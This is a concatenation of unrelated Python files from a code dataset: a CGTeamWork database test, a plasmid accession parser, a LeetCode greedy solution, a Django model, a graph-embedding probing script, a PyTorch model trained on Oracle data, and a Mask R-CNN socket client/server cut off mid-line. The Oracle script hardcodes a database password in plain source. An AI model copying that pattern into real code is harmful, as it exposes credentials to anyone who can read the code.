database.software.get_path(\"maya\")\n assert isinstance(path, six.text_type)\n\n\ndef test_database_modules(database):\n result = database.filter()\n assert all(isinstance(i, cgtwq.Module) for i in result)\n\n\ndef test_database_fields(database):\n # Get\n assert isinstance(database, cgtwq.Database)\n result = database.field.filter()\n assert all(isinstance(i, cgtwq.model.FieldMeta) for i in result)\n result = database.field.filter_one(\n cgtwq.Field(\"sign\") == cgtwq.compat.adapt_field_sign(\"shot.entity\")\n )\n assert isinstance(result, cgtwq.model.FieldMeta)\n\n # Create\n field_sign = \"task.python_test_{}\".format(\n \"\".join(\n [\n random.choice(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n for _ in range(20)\n ]\n )\n )\n database.field.create(sign=field_sign, type_=\"int\")\n\n # Delete\n field = database.field.filter_one(cgtwq.Field(\"sign\") == field_sign)\n assert field.sign == field_sign\n database.field.delete(field.id)\n\n@util.skip_for_cgteamwork6\ndef test_database_filebox(database):\n result = database.filebox.filter()\n assert all(isinstance(i, cgtwq.model.FileBoxMeta) for i in result)\n result = database.filebox.filter(cgtwq.Field(\"title\") == \"检查MOV\")\n result = database.filebox.from_id(\"271\")\n\n\ndef test_database_software(database):\n assert isinstance(database, cgtwq.Database)\n result = database.software.get_path(\"maya\")\n assert isinstance(result, six.text_type)\n result = database.software.get_path_from_type(\"maya\")\n assert isinstance(result, six.text_type)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tests/test_database_real.py","file_name":"test_database_real.py","file_ext":"py","file_size_in_byte":4023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"584740594","text":"# parse accession numbers of genomes with plasmids into txt file\nimport csv\n\nfname = \"plasmid_finder_results_putonti.tsv\"\n\nprint(\"Parsing genome accessions with plasmids to file plasmidAccessions.txt...\")\nwith open(fname) as f_in, open('plasmidAccessions.txt', 'w') as f_out:\n rd = csv.reader(f_in, delimiter=\"\\t\", quotechar='\"')\n for row in rd:\n if(row[3] == \"yes\"):\n f_out.write(row[1]+'\\n')\n f_in.close(); f_out.close();\n","sub_path":"ParsePlasmidGenomes.py","file_name":"ParsePlasmidGenomes.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"352462399","text":"# 1846. 减小和重新排列数组后的最大元素\n\n\nclass Solution:\n\n # 贪心,排序后,arr[i]>=arr[i-1] 如果大于1 则调整到arr[i-1]+1\n def maximumElementAfterDecrementingAndRearranging(self, arr: list[int]) -> int:\n arr.sort()\n arr[0] = 1\n for i in range(1, len(arr)):\n if arr[i] - arr[i-1] > 1:\n arr[i] = arr[i-1] + 1\n return arr[-1]\n\n\nif __name__ == '__main__':\n print(Solution().maximumElementAfterDecrementingAndRearranging([2,2,1,2,1]))\n print(Solution().maximumElementAfterDecrementingAndRearranging([100,1,1000]))\n print(Solution().maximumElementAfterDecrementingAndRearranging([1,2,3,4,5]))","sub_path":"answers/maximumElementAfterDecrementingAndRearranging.py","file_name":"maximumElementAfterDecrementingAndRearranging.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"500715096","text":"from django.db import models\nfrom django.urls import reverse\n\nclass Event(models.Model):\n event_name= models.CharField(\n max_length=80, null=True\n )\n event_task= models.TextField(\n max_length=80, null= True\n )\n event_duration= models.TimeField(null=True)\n start_time = models.DateTimeField(null=True)\n end_time = models.DateTimeField(null=True)\n\n def __str__(self):\n return self.event_name\n\n\n @property\n def get_html_url(self):\n url = reverse('calendary:event_edit', args=(self.id,))\n return f'<p>{self.event_name}</p><a href=\"{url}\">edit</a>'\n\n# Create your models here.\n","sub_path":"calendary/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"455993197","text":"# coding:utf-8\nimport random\nimport sklearn\nimport dgl\nimport torch\nimport os\nimport re\nimport sys\nfrom bert_emb import *\nimport numpy as np\nimport importlib\nimport argparse\nimport itertools\nfrom createGraph import construct_graph\nimport scipy.sparse as sp\nfrom models import *\nimport networkx as nx\nfrom utils import random_walks, setup_seed\nimport tqdm\nfrom sklearn.metrics import roc_auc_score\nfrom probe import *\nfrom template import *\nfrom eval_func import gen_deepwalkemb, test_embedding\nfrom sklearn.preprocessing import StandardScaler\n\nclass NegativeSampler(object):\n def __init__(self, g, k, neg_share=False):\n self.weights = g.in_degrees().float() ** 0.75\n self.k = k\n self.neg_share = neg_share\n\n def __call__(self, g, eids):\n src, _ = g.find_edges(eids)\n n = len(src)\n if self.neg_share and n % self.k == 0:\n dst = self.weights.multinomial(n, replacement=True)\n dst = dst.view(-1, 1, self.k).expand(-1, self.k, -1).flatten()\n else:\n dst = self.weights.multinomial(n*self.k, replacement=True)\n src = src.repeat_interleave(self.k)\n return src, dst\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--pretrained_models', type=str, default='bert-base-uncased', help=\"pretrain models\")\n parser.add_argument('--batch_size', type=int, default=2048, help=\"mi batch_size\")\n parser.add_argument('--g_batch_size', type=int, default=20, help=\"graph batch_size\")\n parser.add_argument('--num_workers', type=int, default=0, help=\"num workers\")\n parser.add_argument('--task', type=str, default='probe', help=\"probe or just eval graph embeddings\")\n parser.add_argument('--mode', type=str, default='toy', help=\"use which dataset to train\")\n parser.add_argument('--epoch', type=int, default=200, help=\"max state of GNN model\")\n parser.add_argument(\"--gpu\", type=int, default=1, help=\"gpu\")\n parser.add_argument(\"--lr\", type=float, default=1e-4, help=\"learning rate\")\n parser.add_argument(\"--method\", type=str, default='graphsage', help=\"the method to get graph embeddings\")\n parser.add_argument(\"--repeat\", type=int, default=1, help=\"repeat times\")\n parser.add_argument(\"--mimethod\", type=str, default='mine', help=\"type of mi method'\")\n parser.add_argument(\"--milr\", type=float, default=1e-6 , help=\"learning rate of compute mutual information\")\n parser.add_argument(\"--hidden_size\", type=int, default=64, help=\"probe hidden size\")\n parser.add_argument(\"--nonlinear\", type=str, default='sigmoid', help=\"nonlinear\")\n parser.add_argument(\"--baselines\", type=bool, default=True, help=\"whether calculate baselines of MI\")\n parser.add_argument('--onlybaseline', type=bool, default= False, help=\"only gg and gr\")\n parser.add_argument('--noglove', type=bool, default=False, help=\"without using glove\")\n parser.add_argument('--nonode', type=bool, default=False, help=\"without using glove\")\n parser.add_argument('--norelation', type=bool, default=False, help=\"without using glove\")\n parser.add_argument('--g_hiddensize', type=int, default=128, help=\"hidden size of GNN method\")\n parser.add_argument('--seed', type=int, default=10, help=\"random seed\")\n args = parser.parse_args()\n #set seed\n random.seed(args.seed)\n os.environ['PYTHONHASHSEED'] = str(args.seed)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed(args.seed)\n torch.cuda.manual_seed_all(args.seed)\n torch.backends.cudnn.deterministic = True\n\n# set device\nuse_cuda = torch.cuda.is_available()\nif use_cuda:\n torch.cuda.set_device(args.gpu)\n\ntrain_path = '/p300/MiGlove/atomic2020/event_center/forgraph/processed_train_split_graph1.txt'\ntest_path = '/p300/MiGlove/atomic2020/event_center/forgraph/processed_test_split_graph1.txt'\ndev_path = '/p300/MiGlove/atomic2020/event_center/forgraph/processed_dev_split_graph1.txt'\nemb_path = '/p300/TensorFSARNN/data/emb/glove.6B'\n# todo: Sample a small datasets to choose parameters\nif args.mode == 'train':\n train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/processed_train_split_graph1.txt'\nif args.mode == 'toy':\n train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/toy_g_train.txt'\nif args.mode == 'sample':\n train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/processed_dev_split_graph1.txt'\n# if args.mode == 'hinder':\n# train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/hinder.txt'\n# if args.mode == 'before':\n# train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/before.txt'\n# if args.mode == 'after':\n# train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/after.txt'\n# if args.mode == 'reason':\n# train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/reason.txt'\n# if args.mode == 'causes':\n# train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/causes.txt'\n# if args.mode == 'subevent':\n# train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/subevent.txt'\n# if args.mode == 'filled':\n# train_path = '/p300/MiGlove/atomic2020/event_center/forgraph/filled.txt'\n\ntrain_g, train_node2id, train_id2node, train_edgelist, train_word2idx, train_idx2word, train_node_feats, train_edge_feats, train_emb_vectors =construct_graph(\n train_path, emb_path)\ntest_g, test_node2id, test_id2node, test_edgelist, test_word2idx, test_idx2word, test_node_feats, test_edge_feats, test_emb_vectors= construct_graph(\n test_path, emb_path)\ndev_g, dev_node2id, dev_id2node, dev_edgelist, dev_word2idx, dev_idx2word, dev_node_feats, dev_edge_feats, dev_emb_vectors = construct_graph(\n dev_path, emb_path)\n\n# Split edge set for training and testing\n# g = train_g\n# u, v = g.edges()\n# print(g.num_nodes())\n# eids = np.arange(g.number_of_edges())\n# eids = np.random.permutation(eids)\n# test_size = int(len(eids) * 0.1)\n# train_size = g.number_of_edges() - test_size\n# test_pos_u, test_pos_v = u[eids[:test_size]], v[eids[:test_size]]\n# train_pos_u, train_pos_v = u[eids[test_size:]], v[eids[test_size:]]\n#\n# print('1')\nfrom dgl.data import RedditDataset\nprint('FULL GRAPH INFO')\nprint(train_g)\n\n# SET dataloader\nn_edges = train_g.num_edges()\ntrain_seeds = torch.arange(n_edges)\nsampler = dgl.dataloading.MultiLayerFullNeighborSampler(2)\ndataloader = dgl.dataloading.EdgeDataLoader(\n train_g, train_seeds, sampler, exclude='reverse_id',\n # For each edge with ID e in Reddit dataset, the reverse edge is e ± |E|/2.\n reverse_eids=torch.cat([\n torch.arange(n_edges // 2, n_edges),\n torch.arange(0, n_edges // 2)]).to(train_seeds),\n negative_sampler=NegativeSampler(train_g, 2,2),\n batch_size=50000,\n shuffle=True,\n drop_last=False,\n num_workers=args.num_workers)\nprint('ok')\nfrom createGraph import getNE\nfor batch, (input_nodes, positive_graph, negative_graph, blocks) in enumerate(dataloader):\n print(positive_graph)\n u1,v1=dgl.block_to_graph(blocks[0]).edges()\n g=dgl.graph((u1,v1))\n g = g.to(args.gpu)\n g=getNE(args, train_path, emb_path, g)\n print(g.num_edges())\n # g=positive_graph.clone()\n u,v=g.edges()\n eids = np.arange(g.number_of_edges())\n eids = np.random.permutation(eids)\n # eids=input_nodes.numpy()\n # print(eids)\n test_size = int(len(eids) * 0.1)\n train_size = g.number_of_edges() - test_size\n test_pos_u, test_pos_v = u[eids[:test_size]], v[eids[:test_size]]\n train_pos_u, train_pos_v = u[eids[test_size:]], v[eids[test_size:]]\n\n\n # get graph emb\n if (args.method == 'graphsage' or args.method == 'nmp'):\n # Find all negative edges and split them for training and testing\n u = u.cpu()\n v = v.cpu()\n adj = sp.coo_matrix((np.ones(len(u)), (u.numpy(), v.numpy())), shape=(g.number_of_nodes(), g.number_of_nodes()))\n adj_neg = 1 - adj.todense()\n adj_neg = adj_neg - np.eye(g.number_of_nodes())\n neg_u, neg_v = np.where(adj_neg != 0)\n\n neg_eids = np.random.choice(len(neg_u), g.number_of_edges() // 2)\n test_neg_u, test_neg_v = neg_u[neg_eids[:test_size]], neg_v[neg_eids[:test_size]]\n train_neg_u, train_neg_v = neg_u[neg_eids[test_size:]], neg_v[neg_eids[test_size:]]\n train_g = dgl.remove_edges(g,eids[test_size:])\n\n train_pos_g = dgl.graph((train_pos_u, train_pos_v), num_nodes=g.number_of_nodes())\n train_neg_g = dgl.graph((train_neg_u, train_neg_v), num_nodes=g.number_of_nodes())\n\n test_pos_g = dgl.graph((test_pos_u, test_pos_v), num_nodes=g.number_of_nodes())\n test_neg_g = dgl.graph((test_neg_u, test_neg_v), num_nodes=g.number_of_nodes())\n # move to gpu\n if use_cuda:\n # g = g.to(args.gpu)\n train_g = train_g.to(args.gpu)\n train_pos_g = train_pos_g.to(args.gpu)\n train_neg_g = train_neg_g.to(args.gpu)\n test_pos_g = test_pos_g.to(args.gpu)\n test_neg_g = test_neg_g.to(args.gpu)\n\n if (args.method == 'deepwalk'):\n adj = sp.coo_matrix((np.ones(len(u)), (u.numpy(), v.numpy())), shape=(g.number_of_nodes(), g.number_of_nodes()))\n adj_neg = 1 - adj.todense().astype('float16')\n eye = np.eye(g.number_of_nodes())\n adj_neg = adj_neg.astype('float16')\n adj_neg = adj_neg - eye.astype('float16')\n neg_u, neg_v = np.where(adj_neg != 0, dtype=np.int8)\n\n neg_eids = np.random.choice(len(neg_u), g.number_of_edges() // 2)\n test_neg_u, test_neg_v = neg_u[neg_eids[:test_size]], neg_v[neg_eids[:test_size]]\n train_neg_u, train_neg_v = neg_u[neg_eids[test_size:]], neg_v[neg_eids[test_size:]]\n\n train_g = dgl.remove_edges(g, eids[:test_size])\n # print(train_g.num_nodes())\n train_pos_g = dgl.graph((train_pos_u, train_pos_v), num_nodes=g.number_of_nodes())\n train_neg_g = dgl.graph((train_neg_u, train_neg_v), num_nodes=g.number_of_nodes())\n\n test_pos_g = dgl.graph((test_pos_u, test_pos_v), num_nodes=g.number_of_nodes())\n test_neg_g = dgl.graph((test_neg_u, test_neg_v), num_nodes=g.number_of_nodes())\n # move to gpu\n if use_cuda:\n g = g.to(args.gpu)\n train_g = train_g.to(args.gpu)\n train_pos_g = train_pos_g.to(args.gpu)\n train_neg_g = train_neg_g.to(args.gpu)\n test_pos_g = test_pos_g.to(args.gpu)\n test_neg_g = test_neg_g.to(args.gpu)\n\n if args.method == 'deepwalk':\n train_emb = gen_deepwalkemb(train_g)\n # eval and test\n auc = test_embedding(args, train_emb, train_g, train_pos_g, train_neg_g, test_pos_g, test_neg_g)\n node_embedding = train_emb.to(args.gpu)\n\n if args.norelation:\n edata = train_g.edata['feats']\n train_g.edata['feats'] = torch.randn(edata.size()).to(args.gpu)\n\n if args.nonode:\n ndata = train_g.ndata['feats']\n train_g.ndata['feats'] = torch.randn(ndata.size()).to(args.gpu)\n\n if args.noglove:\n ndata = train_g.ndata['feats']\n edata = train_g.edata['feats']\n train_g.ndata['feats'] = torch.randn(ndata.size()).to(args.gpu)\n train_g.edata['feats'] = torch.randn(edata.size()).to(args.gpu)\n\n if args.method == 'graphsage':\n # Define Model\n model = GraphSAGE(train_g.ndata['feats'].squeeze().shape[1], args.g_hiddensize)\n model = model.to(args.gpu)\n # You can replace DotPredictor with MLPPredictor.\n # pred = MLPPredictor(128)\n pred = DotPredictor()\n pred = pred.to(args.gpu)\n optimizer = torch.optim.Adam(itertools.chain(model.parameters(), pred.parameters()), lr=args.lr)\n # ----------- training -------------------------------- #\n all_logits = []\n for e in range(args.epoch):\n # forward\n if (args.method == 'graphsage'):\n h = model(train_g, train_g.ndata['feats'].squeeze())\n if (args.method == 'nmp'):\n h = model(train_g, train_g.ndata['feats'].squeeze(), train_g.edata['feats'].squeeze())\n pos_score = pred(train_pos_g, h)\n neg_score = pred(train_neg_g, h)\n loss = compute_loss(args, pos_score, neg_score, use_cuda)\n\n # backward\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if e % 5 == 0:\n print('In epoch {}, loss: {}'.format(e, loss))\n\n with torch.no_grad():\n pos_score = pred(test_pos_g, h)\n neg_score = pred(test_neg_g, h)\n auc = compute_auc(pos_score, neg_score)\n print('AUC', compute_auc(pos_score, neg_score))\n # ----------- get node emb --------------------------------\n # evaluate model:\n model.eval()\n with torch.no_grad():\n h = model(g, g.ndata['feats'].squeeze())\n print(h.type())\n print(h.size())\n node_embedding = h\n\n if args.method == 'nmp':\n model = NMP(train_g.ndata['feats'].squeeze().shape[1], args.g_hiddensize,\n train_g.edata['feats'].squeeze().shape[1])\n pred = DotPredictor()\n model = model.to(args.gpu)\n pred = pred.to(args.gpu)\n optimizer = torch.optim.Adam(itertools.chain(model.parameters(), pred.parameters()), lr=args.lr)\n\n # ----------- training -------------------------------- #\n all_logits = []\n for e in range(args.epoch):\n # forward\n if (args.method == 'graphsage'):\n h = model(train_g, train_g.ndata['feats'].squeeze())\n if (args.method == 'nmp'):\n h = model(train_g, train_g.ndata['feats'].squeeze(), train_g.edata['feats'].squeeze())\n pos_score = pred(train_pos_g, h)\n neg_score = pred(train_neg_g, h)\n loss = compute_loss(args, pos_score, neg_score, use_cuda)\n\n # backward\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if e % 5 == 0:\n print('In epoch {}, loss: {}'.format(e, loss))\n\n # ----------- check results ------------------------ #\n with torch.no_grad():\n pos_score = pred(test_pos_g, h)\n neg_score = pred(test_neg_g, h)\n auc = compute_auc(pos_score, neg_score)\n print('AUC', compute_auc(pos_score, neg_score))\n # evaluate model:\n model.eval()\n with torch.no_grad():\n h = model(train_g, train_g.ndata['feats'].squeeze(), train_g.edata['feats'].squeeze())\n print(h.type())\n print(h.size())\n node_embedding = h\n node_embedding = node_embedding.cpu()\n node_embedding = sklearn.preprocessing.normalize(node_embedding)\n node_embedding = torch.from_numpy(node_embedding).float()\n node_embedding = node_embedding.to(args.gpu)\n\n print('here is ')\n print(auc)\n\n # save reslut\n path_file_name = '/p300/MiGlove/src/auc_result.txt'\n if not os.path.exists(path_file_name):\n fileObject = open('/p300/MiGlove/src/auc_result.txt', 'w', encoding='utf-8')\n else:\n fileObject = open('/p300/MiGlove/src/auc_result.txt', 'a', encoding='utf-8')\n if args.norelation:\n fileObject.write('no relation' + str(auc) + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(\n args.lr) + ' ' + str(args.milr) + ' ' + str(args.hidden_size) + ' ' + str(args.batch_size))\n elif args.noglove:\n fileObject.write('no glove' + str(auc) + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(\n args.milr) + ' ' + str(args.hidden_size) + ' ' + str(args.batch_size))\n elif args.nonode:\n fileObject.write('no node' + str(auc) + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(\n args.milr) + ' ' + str(args.hidden_size) + ' ' + str(args.batch_size))\n else:\n fileObject.write(\n str(auc) + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(args.milr) + ' ' + str(\n args.hidden_size) + ' ' + str(args.batch_size))\n fileObject.write('\\n')\n fileObject.close()\n\n if args.task == 'probe':\n # set seed\n random.seed()\n os.environ['PYTHONHASHSEED'] = 'random'\n np.random.seed()\n torch.backends.cudnn.deterministic = False\n # get bert embeddings\n bert_embedding = torch.randn(g.num_nodes(), 768)\n if args.mode == 'toy':\n old_path = '/p300/MiGlove/atomic2020/event_center/forgraph/toy_g_train.txt'\n if args.mode == 'sample':\n old_path = '/p300/MiGlove/atomic2020/event_center/processed_dev_split_graph.txt'\n if args.mode == 'train':\n old_path = '/p300/MiGlove/atomic2020/event_center/processed_train_split_graph.txt'\n if args.mode == 'hinder':\n old_path = '/p300/MiGlove/atomic2020/event_center/hinder.txt'\n if args.mode == 'before':\n old_path = '/p300/MiGlove/atomic2020/event_center/before.txt'\n if args.mode == 'after':\n old_path = '/p300/MiGlove/atomic2020/event_center/after.txt'\n if args.mode == 'reason':\n old_path = '/p300/MiGlove/atomic2020/event_center/reason.txt'\n if args.mode == 'causes':\n old_path = '/p300/MiGlove/atomic2020/event_center/causes.txt'\n if args.mode == 'subevent':\n old_path = '/p300/MiGlove/atomic2020/event_center/subevent.txt'\n if args.mode == 'filled':\n old_path = '/p300/MiGlove/atomic2020/event_center/filled.txt'\n new_path = '/p300/MiGlove/atomic2020/' + args.mode + 'bert_pretest.txt'\n gen_sentences(old_path, new_path)\n old_lines, new_lines, src_b, src_e, tgt_b, tgt_e = get_node_ids(old_path, new_path)\n\n # 得到bert embbeddings\n if os.path.exists(args.mode + \"all_new_bert_embedding.pt\"):\n bert_embs = torch.load(args.mode + \"0610new_bert_embedding.pt\")\n else:\n bert_embs = get_bert_embedding(new_lines, args)\n torch.save(bert_embs, args.mode + \"0610new_bert_embedding.pt\")\n old_lines, node2id, id2node, edge2id, edgelist = read_data(old_path)\n # 取出node embeddings\n for i in range(len(bert_embs)):\n bert_embs[i] = convertBert(old_lines, node2id, bert_embs[i], src_b, src_e, tgt_b, tgt_e)\n # bert_embedding = convertBert(old_lines, node2id, bert_embs, src_b, src_e, tgt_b, tgt_e)\n # for i in range(len(node_emb)):\n # for j in range(768):\n # bert_embedding[i][j] = node_emb[i][j]\n # print('convert')\n bert_embedding = bert_embs\n # probe\n # graph -> node_embedding; bert -> bert_embedding\n res = probe_plain(args, node_embedding, bert_embedding)\n\n # save reslut\n path_file_name = '/p300/MiGlove/src/result.txt'\n if not os.path.exists(path_file_name):\n fileObject = open('/p300/MiGlove/src/result.txt', 'w', encoding='utf-8')\n else:\n fileObject = open('/p300/MiGlove/src/result.txt', 'a', encoding='utf-8')\n if args.norelation:\n fileObject.write('no relation' + res + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(\n args.milr) + ' ' + str(args.hidden_size) + ' ' + str(args.batch_size))\n elif args.noglove:\n fileObject.write('no glove' + res + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(\n args.milr) + ' ' + str(args.hidden_size) + ' ' + str(args.batch_size))\n elif args.nonode:\n fileObject.write('no node' + res + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(\n args.milr) + ' ' + str(args.hidden_size) + ' ' + str(args.batch_size))\n else:\n fileObject.write(\n res + args.mode + ' ' + args.method + ' ' + args.mimethod + ' ' + str(args.milr) + ' ' + str(\n args.hidden_size) + ' ' + str(args.batch_size))\n fileObject.write('\\n')\n fileObject.close()\n print('start')\n # blocks = [b for b in blocks]\n # positive_graph = positive_graph\n # negative_graph = negative_graph\nprint('finish')","sub_path":"src/local1.py","file_name":"local1.py","file_ext":"py","file_size_in_byte":20182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"619857900","text":"#%%\nimport torch\nimport numpy as np\nfrom torch.autograd import Variable\nfrom torch.nn import functional as F\nimport cx_Oracle\n\ndb = cx_Oracle.connect(user=\"ADMIN\", password=\"Oracle12345!\", dsn=\"mlwadw_high\")\nprint(\"Connected to Oracle ADW\")\n\ndef getData(db):\n cur = db.cursor()\n statement = \"SELECT * FROM (SELECT X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, Y FROM SAMPLE_DATA) WHERE ROWNUM <= 1000000\"\n cur.execute(statement)\n res = cur.fetchall()\n npRes = np.array(res)\n x_data = npRes[:, :10]\n y_data = npRes[:,10]\n return x_data, y_data\n\nprint(\"Selecting sample data from ADW\")\nx_data, y_data = getData(db)\n\nprint(\"Loading data and mode\")\n\nclass LogisticRegression(torch.nn.Module): \n def __init__(self):\n super(LogisticRegression, self).__init__()\n self.linear = torch.nn.Linear(10, 1)\n def forward(self, x):\n y_pred = F.sigmoid(self.linear(x))\n return y_pred\n \nmodel = LogisticRegression()\n\nx_tensor = Variable(torch.Tensor(x_data))\ny_tensor = Variable(torch.Tensor(y_data))\n\nprint(\"Running model training\")\n\ncriterion = torch.nn.MSELoss(size_average=False)\noptimizer = torch.optim.SGD(model.parameters(), lr=0.01)\n\nnum_epochs = 2000\nfor epoch in range(num_epochs):\n pctComplete = epoch / num_epochs * 100\n print (\"{:.2f}\".format(pctComplete)+\"%\", end=\"\\r\")\n model.train()\n optimizer.zero_grad()\n y_pred = model(x_tensor)\n loss = criterion(y_pred, y_tensor.unsqueeze(1))\n loss.backward()\n optimizer.step()\n\nprint(\"Training complete\")\n\nprint(\"Running Prediction using model\")\n#%%\ntest1 = np.random.multivariate_normal([0, 0], [[1, .75],[.75, 1]], 5)\ntest2 = np.random.multivariate_normal([1, 4], [[1, .75],[.75, 1]], 5)\ntest1 = test1.flatten()\ntest2 = test2.flatten()\ntest1_x = Variable(torch.Tensor(test1))\ntest2_x = Variable(torch.Tensor(test2))\ny_pred1 = model(test1_x)\ny_pred2 = model(test2_x)\nprint(\"Predicted Y1 value: \", y_pred1.data[0], \" Expected: 0\")\nprint(\"Predicted Y2 value: \", y_pred2.data[0], \" Expected: 1\")\n\n#%%\n","sub_path":"local-machine-learning-script.py","file_name":"local-machine-learning-script.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"2812703","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\nimport os, sys, argparse\n\n# plot format\nfrom typing import Dict, Any\n\nfrom matplotlib import rcParams\nrcParams['font.family'] = ['sans-serif']\nrcParams['font.weight'] = 'semibold'\nrcParams['font.size'] = 20\nrcParams['font.sans-serif'] = ['WenQuanYi Micro Hei', 'Noto Sans CJK SC', 'SimHei', 'sans', 'sans-serif']\n# rcParams['axes.unicode_minus'] = False\n\n# NOTE 如果出现中文字体找不到或显示异常,可尝试删除 ~/.cache/matplotlib 缓存\nfrom matplotlib.font_manager import _rebuild\n_rebuild()\n\nprogname = os.path.basename(sys.argv[0])\nprogversion = \"0.1\"\n\nargs: Dict[Any, Any] = None\nmodel_obj = None\n\nimport socket, selectors, types\n\ndef model_initial(host=None):\n global args\n if host:\n if args.verbose > 0:\n print(\"creating client class connected to:\", host)\n from mrcnn.model_client import MaskRCNNClient\n return MaskRCNNClient(host)\n else:\n if args.verbose > 0:\n print(\"creating local model class...\")\n from mrcnn.model_local import MaskRCNNLocal\n # model = MaskRCNNLocal()\n model = MaskRCNNLocal(gpu_n=args.gpus)\n if args.verbose > 1:\n model.devinfo()\n return model\n\ndef clientCLI(in_path, out_path=None):\n global args\n global model_obj\n\n # 输入输出路径预处理\n in_path = os.path.abspath(in_path.strip())\n out_path = os.path.abspath(out_path.strip())\n if args.verbose > 0:\n print(\"input:\", in_path, \"output:\", out_path)\n if not os.access(in_path, os.R_OK):\n return in_path + ' does not existed, or unreadable'\n elif os.path.exists(out_path) and (not os.access(out_path, os.W_OK)):\n return out_path + ' unwritable'\n\n # 调用模型检测\n if args.verbose > 0:\n print(\"calling model:\", type(model_obj))\n model_obj.detect(in_path, args.verbose - 1)\n\n # 输出结果\n if args.verbose > 1:\n model_obj.debug()\n if os.path.splitext(out_path)[-1] == \".json\":\n model_obj.out2json(opath=out_path)\n else:\n if args.verbose > 0:\n print('visualizing result...')\n dpi_x: int = args.dpi\n dpi_y: int = args.dpi\n if args.verbose > 1:\n print(\"size: %d, %d\\ndpi: %d, %d\" % (args.width, args.height, dpi_x, dpi_y))\n model_obj.display(None, (args.width / dpi_x, args.height / dpi_y), fpath=out_path)\n return 'result saved to ' + out_path\n\ndef accept_wrapper(sersock):\n # 由于监听 serversock 被注册到了 selectors.EVENT_READ 上,它现在就能被读取,\n # 调用 sersock.accept() 后立即再立即调 clientsock.setblocking(False)\n # 来让 client 的 socket 也进入非阻塞模式?\n (clientsock, clientaddr) = sersock.accept() # Should be ready to read\n print('connection:', clientsock, 'established from:', clientaddr)\n clientsock.setblocking(False)\n # 欢迎语\n msg = 'Welcome to ' + clientsock.getsockname()[0] + ' !'\n clientsock.send(str.encode(msg))\n data = types.SimpleNamespace(addr=clientaddr, inb=b'', outb=b'')\n # 接着我们使用了 types.SimpleNamespace 类创建了一个对象用来保存我们想要的\n # socket 和数据,由于我们得知道客户端连接什么时候可以写入或者读取,下面两个事件都\n # 会被用到:\n events = selectors.EVENT_READ | selectors.EVENT_WRITE\n sel.register(clientsock, events, data=data)\n\ndef service_connection(key, mask):\n global args\n # 处理客户端 socket 就绪时的连接请求\n clientsock = key.fileobj\n data = key.data\n # key 就是从调用 select() 方法返回的一个具名元组\n # 包含了 socket 对象「fileobj」和数据对象\n # mask 包含了就绪的事件\n if mask & selectors.EVENT_READ:\n # 如果 socket 就绪而且可以被读取,mask & selectors.EVENT_READ 就为真\n recv_data = clientsock.recv(1024) # Should be ready to read\n if recv_data:\n # 所有读取到的数据都会被追加到 data.outb 里面。随后被发送出去\n data.outb += recv_data\n if args.verbose > 0:\n print('received:', data.outb.decode(), 'from:', data.addr) # 打印接收到的数据\n in_path, out_path = data.outb.decode().split(';')\n response_msg = clientCLI(in_path, out_path)\n if args.verbose > 0:\n print(response_msg)\n\n else:\n print('connection closed:', data.addr)\n # 别忘了先调用 sel.unregister() 撤销 select() 的监控\n sel.unregister(clientsock)\n clientsock.close() # 服务端也应关闭自己的连接\n if mask & selectors.EVENT_WRITE:\n # 当 socket 就绪而且可以被写入时,对于正常的 socket 应该一直是这种状态,\n # 任何接收并被 data.outb 存储的数据都将使用 sock.send() 方法打印出来。\n if data.outb:\n if args.verbose > 0:\n print('sending response to client...')\n if out_path:\n sent_data = clientsock.send(str.encode(response_msg))\n data.outb = data.outb[sent_data:] # 从缓冲中删除发送出的字节\n # while sent_data = clientsock.sendall(data):\n # print('SENDING DATA...')\n if args.verbose > 0:\n print('finished')\n\ndef clientGUI():\n from PyQt5.QtWidgets import QApplication, QStyleFactory\n from mainw import ClientGUI\n app = QApplication(sys.argv)\n app.setStyle(QStyleFactory.create(\"Fusion\"))\n w = ClientGUI()\n sys.exit(app.exec_())\n\ndef entry():\n preparser = argparse.ArgumentParser(add_help=False)\n preparser.add_argument('--gui', action='store_true')\n preparser.add_argument('--local', action='store_true')\n preparser.add_argument('-d', '--daemon', action='store_true')\n args_parsered, args_rest = preparser.parse_known_intermixed_args() # GUI 确认后交给下一解析器\n if args_parsered.gui:\n clientGUI()\n return\n\n if args_parsered.local and args_parsered.daemon:\n parser = argparse.ArgumentParser(\n description='Client for Tensorflow Serving of Mask RCNN (local-daemon mode)',\n epilog='使用例:./tf_detection.py 